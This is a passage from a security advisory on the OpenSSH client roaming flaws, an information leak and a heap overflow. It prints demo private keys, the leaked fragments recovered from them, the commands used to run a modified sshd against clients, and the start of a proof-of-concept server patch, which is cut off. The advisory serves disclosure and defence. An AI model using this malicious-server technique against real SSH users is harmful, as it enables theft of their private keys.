040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG\n8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n-----END RSA PRIVATE KEY-----\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 1 %h %p\" -p 222 127.0.0.1\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n(this example requires a ProxyCommand because of the NULL-aitop bug\ndescribed in the Mitigating Factors of the Information Leak section, and\ncrashes because of the NULL-pointer dereference discussed in the\nMitigating Factors of the Buffer Overflow section)\n\n# cat /tmp/roaming-a5eca355/infoleak\nry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: CentOS 7, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"CentOS Linux 7 (Core)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n\nGLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2\nhUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-b7b16dfc/infoleak\njJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5\n\n# strings /tmp/roaming-b324ce87/infoleak\nIuQL\nR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9v\n\n# strings /tmp/roaming-24011739/infoleak\nKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC\n\n# strings /tmp/roaming-37456846/infoleak\nLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA\nyq4Kwj/\n\n# strings /tmp/roaming-988ff54c/infoleak\nGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\n\n# strings /tmp/roaming-53887fa5/infoleak\n/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: Fedora 20, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"Fedora 20 (Heisenbug)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz\nHLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp\no9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ\n/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy\n2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr\nHiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\njwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm\nqK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\nZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-a2bbc5f6/infoleak\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG\n\n# strings /tmp/roaming-47b46456/infoleak\nRGAcE0nc\nGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9\n\n# strings /tmp/roaming-7a6717ae/infoleak\ncawMW4LZ1\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p\n\n# strings /tmp/roaming-f3091f08/infoleak\nlZ3w0qHe\nnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\n\n# strings /tmp/roaming-62a9e9a3/infoleak\nlZ3w0qHe\nr3TwTa0pPEk11\nLbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37P\n\n# strings /tmp/roaming-8de31ed5/infoleak\n7qyvNznQ\n26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\n\n# strings /tmp/roaming-f5e0fbcc/infoleak\nyESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxS\n\n# strings /tmp/roaming-9be933df/infoleak\nQRtzK/GpRuMC1\nC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT\n\n# strings /tmp/roaming-ee4d1e6c/infoleak\nSG3aTqYp\ntEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s\n\n# strings /tmp/roaming-c2bfd69c/infoleak\nSG3aTqYp\n6JmTOun5zVV6A\nH6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s\n\n# strings /tmp/roaming-2b3217a1/infoleak\nDGLfFGdO\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ\n\n# strings /tmp/roaming-1e275747/infoleak\ng3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\n\n\n========================================================================\nBuffer Overflow (CVE-2016-0778)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nSupport for roaming was elegantly added to the OpenSSH client: the calls\nto read() and write() that communicate with the SSH server were replaced\nby calls to roaming_read() and roaming_write(), two wrappers that depend\non wait_for_roaming_reconnect() to transparently reconnect to the server\nafter a disconnection. The wait_for_roaming_reconnect() routine is\nessentially a sequence of four subroutines:\n\n239 int\n240 wait_for_roaming_reconnect(void)\n241 {\n... \n250         fprintf(stderr, \"[connection suspended, press return to resume]\");\n... \n252         packet_backup_state();\n253         /* TODO Perhaps we should read from tty here */\n254         while ((c = fgetc(stdin)) != EOF) {\n... \n259                 if (c != \u0027\\n\u0027 \u0026\u0026 c != \u0027\\r\u0027)\n260                         continue;\n261\n262                 if (ssh_connect(host, \u0026hostaddr, options.port,\n... \n265                     options.proxy_command) == 0 \u0026\u0026 roaming_resume() == 0) {\n266                         packet_restore_state();\n... \n268                         fprintf(stderr, \"[connection resumed]\\n\");\n... \n270                         return 0;\n271                 }\n272\n273                 fprintf(stderr, \"[reconnect failed, press return to retry]\");\n... \n275         }\n276         fprintf(stderr, \"[exiting]\\n\");\n... \n278         exit(0);\n279 }\n\n1. packet_backup_state() close()s connection_in and connection_out (the\nold file descriptors that connected the client to the server), and saves\nthe state of the suspended SSH session (for example, the encryption and\ndecryption contexts). \n\n2. ssh_connect() opens new file descriptors, and connects them to the\nSSH server. \n\n3. roaming_resume() negotiates the resumption of the suspended SSH\nsession with the server, and calls resend_bytes(). \n\n4. packet_restore_state() updates connection_in and connection_out (with\nthe new file descriptors that connect the client to the server), and\nrestores the state of the suspended SSH session. \n\nThe new file descriptors for connection_in and connection_out may differ\nfrom the old ones (if, for example, files or pipes or sockets are opened\nor closed between two successive ssh_connect() calls), but unfortunately\nhistorical code in OpenSSH assumes that they are constant:\n\n- In client_loop(), the variables connection_in and connection_out are\n  cached locally, but packet_write_poll() calls roaming_write(), which\n  may assign new values to connection_in and connection_out (if a\n  reconnection occurs), and client_wait_until_can_do_something()\n  subsequently reuses the old, cached values. \n\n- client_loop() eventually updates these cached values, and the\n  following FD_ISSET() uses a new, updated file descriptor (the fd\n  connection_out), but an old, out-of-date file descriptor set (the\n  fd_set writeset). \n\n- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)\n  first calloc()ates setp, a file descriptor set for connection_in;\n  next, it loops around memset(), FD_SET(), select() and roaming_read();\n  last, it free()s setp and returns. Unfortunately, roaming_read() may\n  reassign a higher value to connection_in (if a reconnection occurs),\n  but setp is never enlarged, and the following memset() and FD_SET()\n  may therefore overflow setp (a heap-based buffer overflow):\n\n1048 int\n1049 packet_read_seqnr(u_int32_t *seqnr_p)\n1050 {\n.... \n1052         fd_set *setp;\n.... \n1058         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_in + 1,\n1059             NFDBITS), sizeof(fd_mask));\n.... \n1065         for (;;) {\n.... \n1075                 if (type != SSH_MSG_NONE) {\n1076                         free(setp);\n1077                         return type;\n1078                 }\n.... \n1083                 memset(setp, 0, howmany(active_state-\u003econnection_in + 1,\n1084                     NFDBITS) * sizeof(fd_mask));\n1085                 FD_SET(active_state-\u003econnection_in, setp);\n.... \n1092                 for (;;) {\n.... \n1097                         if ((ret = select(active_state-\u003econnection_in + 1, setp,\n1098                             NULL, NULL, timeoutp)) \u003e= 0)\n1099                                 break;\n.... \n1115                 }\n.... \n1117                 do {\n.... \n1119                         len = roaming_read(active_state-\u003econnection_in, buf,\n1120                             sizeof(buf), \u0026cont);\n1121                 } while (len == 0 \u0026\u0026 cont);\n.... \n1130         }\n1131         /* NOTREACHED */\n1132 }\n\n- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is\n  basically similar to packet_read_seqnr() and may overflow its own setp\n  if roaming_write() (called by packet_write_poll()) reassigns a higher\n  value to connection_out (after a successful reconnection):\n\n1739 void\n1740 packet_write_wait(void)\n1741 {\n1742         fd_set *setp;\n.... \n1746         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_out + 1,\n1747             NFDBITS), sizeof(fd_mask));\n1748         packet_write_poll();\n1749         while (packet_have_data_to_write()) {\n1750                 memset(setp, 0, howmany(active_state-\u003econnection_out + 1,\n1751                     NFDBITS) * sizeof(fd_mask));\n1752                 FD_SET(active_state-\u003econnection_out, setp);\n.... \n1758                 for (;;) {\n.... \n1763                         if ((ret = select(active_state-\u003econnection_out + 1,\n1764                             NULL, setp, NULL, timeoutp)) \u003e= 0)\n1765                                 break;\n.... \n1776                 }\n.... \n1782                 packet_write_poll();\n1783         }\n1784         free(setp);\n1785 }\n\n------------------------------------------------------------------------\nMitigating Factors\n------------------------------------------------------------------------\n\nThis buffer overflow affects all OpenSSH clients \u003e= 5.4, but its impact\nis significantly reduced by the Mitigating Factors detailed in the\nInformation Leak section, and additionally:\n\n- OpenSSH versions \u003e= 6.8 reimplement packet_backup_state() and\n  packet_restore_state(), but introduce a bug that prevents the buffer\n  overflow from being exploited; indeed, ssh_packet_backup_state() swaps\n  two local pointers, ssh and backup_state, instead of swapping the two\n  global pointers active_state and backup_state:\n\n  9 struct ssh *active_state, *backup_state;\n... \n238 void\n239 packet_backup_state(void)\n240 {\n241         ssh_packet_backup_state(active_state, backup_state);\n242 }\n243\n244 void\n245 packet_restore_state(void)\n246 {\n247         ssh_packet_restore_state(active_state, backup_state);\n248 }\n\n2269 void\n2270 ssh_packet_backup_state(struct ssh *ssh,\n2271     struct ssh *backup_state)\n2272 {\n2273         struct ssh *tmp;\n.... \n2279         if (backup_state)\n2280                 tmp = backup_state;\n2281         else\n2282                 tmp = ssh_alloc_session_state();\n2283         backup_state = ssh;\n2284         ssh = tmp;\n2285 }\n.... \n2291 void\n2292 ssh_packet_restore_state(struct ssh *ssh,\n2293     struct ssh *backup_state)\n2294 {\n2295         struct ssh *tmp;\n.... \n2299         tmp = backup_state;\n2300         backup_state = ssh;\n2301         ssh = tmp;\n2302         ssh-\u003estate-\u003econnection_in = backup_state-\u003estate-\u003econnection_in;\n\n  As a result, the global pointer backup_state is still NULL when passed\n  to ssh_packet_restore_state(), and crashes the OpenSSH client when\n  dereferenced:\n\n# env ROAMING=\"overflow:A fd_leaks:0\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 15 %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n  This bug prevents the buffer overflow from being exploited, but not\n  the information leak, because the vulnerable function resend_bytes()\n  is called before ssh_packet_restore_state() crashes. \n\n------------------------------------------------------------------------\nFile Descriptor Leak\n------------------------------------------------------------------------\n\nA back-of-the-envelope calculation indicates that, in order to increase\nthe file descriptor connection_in or connection_out, and thus overflow\nthe file descriptor set setp in packet_read_seqnr() or\npacket_write_wait(), a file descriptor leak is needed:\n\n- First, the number of bytes calloc()ated for setp is rounded up to the\n  nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)\n  on 64-bit systems. \n\n- Next, in glibc, this number is rounded up to the nearest multiple of\n  MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit\n  systems. \n\n- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit\n  systems, of which 24 bytes (or 192 file descriptors) are reserved for\n  setp. \n\n- In conclusion, a file descriptor leak is needed, because connection_in\n  or connection_out has to be increased by hundreds in order to overflow\n  setp. \n\nThe search for a suitable file descriptor leak begins with a study of\nthe behavior of the four ssh_connect() methods, when called for a\nreconnection by wait_for_roaming_reconnect():\n\n1. The default method ssh_connect_direct() communicates with the server\nthrough a simple TCP socket: the two file descriptors connection_in and\nconnection_out are both equal to this socket\u0027s file descriptor. \n\nIn wait_for_roaming_reconnect(), the low-numbered file descriptor of the\nold TCP socket is close()d by packet_backup_state(), but immediately\nreused for the new TCP socket in ssh_connect_direct(): the new file\ndescriptors connection_in and connection_out are equal to this old,\nlow-numbered file descriptor, and cannot possibly overflow setp. \n\n2. The special ProxyCommand \"-\" communicates with the server through\nstdin and stdout, but (as explained in the Mitigating Factors of the\nInformation Leak section) it cannot possibly reconnect to the server,\nand is therefore immune to this buffer overflow. \n\n3. Surprisingly, we discovered a file descriptor leak in the\nssh_proxy_fdpass_connect() method itself; indeed, the file descriptor\nsp[1] is never close()d:\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 106         int sp[2], sock;\n ... \n 113         if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) \u003c 0)\n 114                 fatal(\"Could not create socketpair to communicate with \"\n 115                     \"proxy dialer: %.100s\", strerror(errno));\n ... \n 161         close(sp[0]);\n ... \n 164         if ((sock = mm_receive_fd(sp[1])) == -1)\n 165                 fatal(\"proxy dialer did not pass back a connection\");\n ... \n 171         /* Set the connection file descriptors. */\n 172         packet_set_connection(sock, sock);\n 173\n 174         return 0;\n 175 }\n\nHowever, two different reasons prevent this file descriptor leak from\ntriggering the setp overflow:\n\n- The method ssh_proxy_fdpass_connect() communicates with the server\n  through a single socket received from the ProxyCommand: the two file\n  descriptors connection_in and connection_out are both equal to this\n  socket\u0027s file descriptor. \n\n  In wait_for_roaming_reconnect(), the low-numbered file descriptor of\n  the old socket is close()d by packet_backup_state(), reused for sp[0]\n  in ssh_proxy_fdpass_connect(), close()d again, and eventually reused\n  again for the new socket: the new file descriptors connection_in and\n  connection_out are equal to this old, low-numbered file descriptor,\n  and cannot possibly overflow setp. \n\n- Because of the waitpid() bug described in the Mitigating Factors of\n  the Information Leak section, the method ssh_proxy_fdpass_connect()\n  calls fatal() before it returns to wait_for_roaming_reconnect(), and\n  is therefore immune to this buffer overflow. \n\n4. The method ssh_proxy_connect() communicates with the server through a\nProxyCommand and two different pipes: the file descriptor connection_in\nis the read end of the second pipe (pout[0]), and the file descriptor\nconnection_out is the write end of the first pipe (pin[1]):\n\n 180 static int\n 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)\n 182 {\n ... \n 184         int pin[2], pout[2];\n ... \n 192         if (pipe(pin) \u003c 0 || pipe(pout) \u003c 0)\n 193                 fatal(\"Could not create pipes to communicate with the proxy: %.100s\",\n 194                     strerror(errno));\n ... \n 240         /* Close child side of the descriptors. */\n 241         close(pin[0]);\n 242         close(pout[1]);\n ... \n 247         /* Set the connection file descriptors. */\n 248         packet_set_connection(pout[0], pin[1]);\n 249\n 250         /* Indicate OK return */\n 251         return 0;\n 252 }\n\nIn wait_for_roaming_reconnect(), the two old, low-numbered file\ndescriptors connection_in and connection_out are both close()d by\npacket_backup_state(), and immediately reused for the pipe(pin) in\nssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of\nthese old, low-numbered file descriptors, and cannot possibly overflow\nsetp. \n\nOn the other hand, the pipe(pout) in ssh_proxy_connect() may return\nhigh-numbered file descriptors, and the new connection_in (pout[0]) may\ntherefore overflow setp, if hundreds of file descriptors were leaked\nbefore the call to wait_for_roaming_reconnect():\n\n- We discovered a file descriptor leak in the pubkey_prepare() function\n  of OpenSSH \u003e= 6.8; indeed, if the client is running an authentication\n  agent that does not offer any private keys, the reference to agent_fd\n  is lost, and this file descriptor is never close()d:\n\n1194 static void\n1195 pubkey_prepare(Authctxt *authctxt)\n1196 {\n.... \n1200         int agent_fd, i, r, found;\n.... \n1247         if ((r = ssh_get_authentication_socket(\u0026agent_fd)) != 0) {\n1248                 if (r != SSH_ERR_AGENT_NOT_PRESENT)\n1249                         debug(\"%s: ssh_get_authentication_socket: %s\",\n1250                             __func__, ssh_err(r));\n1251         } else if ((r = ssh_fetch_identitylist(agent_fd, 2, \u0026idlist)) != 0) {\n1252                 if (r != SSH_ERR_AGENT_NO_IDENTITIES)\n1253                         debug(\"%s: ssh_fetch_identitylist: %s\",\n1254                             __func__, ssh_err(r));\n1255         } else {\n.... \n1288                 authctxt-\u003eagent_fd = agent_fd;\n1289         }\n.... \n1299 }\n\n  However, OpenSSH clients \u003e= 6.8 crash in ssh_packet_restore_state()\n  (because of the NULL-pointer dereference discussed in the Mitigating\n  Factors of the Buffer Overflow section) and are immune to the setp\n  overflow, despite this agent_fd leak. \n\n- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH\n  client (it is disabled by default), a malicious SSH server can request\n  hundreds of forwardings, in order to increase connection_in (each\n  forwarding opens a file descriptor), and thus overflow setp in\n  packet_read_seqnr():\n\n# env ROAMING=\"overflow:A\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007f0474d03e70 ***\nAborted (core dumped)\n\n# env ROAMING=\"overflow:X\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/ssh -X -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***\n*** Error in `/usr/bin/ssh\u0027: malloc(): memory corruption: 0x00007fdcc2a3abc0 ***\n\nFinally, a brief digression on two unexpected problems that had to be\nsolved in our proof-of-concept:\n\n- First, setp can be overflowed only in packet_read_seqnr(), not in\n  packet_write_wait(), but agent forwarding and X11 forwarding are post-\n  authentication functionalities, and post-authentication calls to\n  packet_read() or packet_read_expect() are scarce, except in the\n  key-exchange code of OpenSSH clients \u003c 6.8: our proof-of-concept\n  effectively forces a rekeying in order to overflow setp in\n  packet_read_seqnr(). \n\n- Second, after a successful reconnection, packet_read_seqnr() may call\n  fatal(\"Read from socket failed: %.100s\", ...), because roaming_read()\n  may return EAGAIN (EAGAIN is never returned without the reconnection,\n  because the preceding call to select() guarantees that connection_in\n  is ready for read()). Our proof-of-concept works around this problem\n  by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,\n  allowing data to reach the client before roaming_read() is called,\n  thus avoiding EAGAIN. \n\n\n========================================================================\nAcknowledgments\n========================================================================\n\nWe would like to thank the OpenSSH developers for their great work and\ntheir incredibly quick response, Red Hat Product Security for promptly\nassigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall\nProject for the interesting discussions. \n\n\n========================================================================\nProof Of Concept\n========================================================================\n\ndiff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c\n--- openssh-6.4p1/auth2-pubkey.c\t2013-07-17 23:10:10.000000000 -0700\n+++ openssh-6.4p1+roaming/auth2-pubkey.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)\n \t\t * if a user is not allowed to login. is this an\n \t\t * issue? -markus\n \t\t */\n-\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key))) {\n+\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key)) || 1) {\n+\t\t\tdebug(\"%s: force client-side load_identity_file\",\n+\t\t\t    __func__);\n \t\t\tpacket_start(SSH2_MSG_USERAUTH_PK_OK);\n \t\t\tpacket_put_string(pkalg, alen);\n \t\t\tpacket_put_string(pkblob, blen);\ndiff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c\n--- openssh-6.4p1/kex.c\t2013-06-01 14:31:18.000000000 -0700\n+++ openssh-6.4p1+roaming/kex.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],\n }\n \n static void\n+roaming_reconnect(void)\n+{\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);\n+\tconst u_int id = packet_get_int(); /* 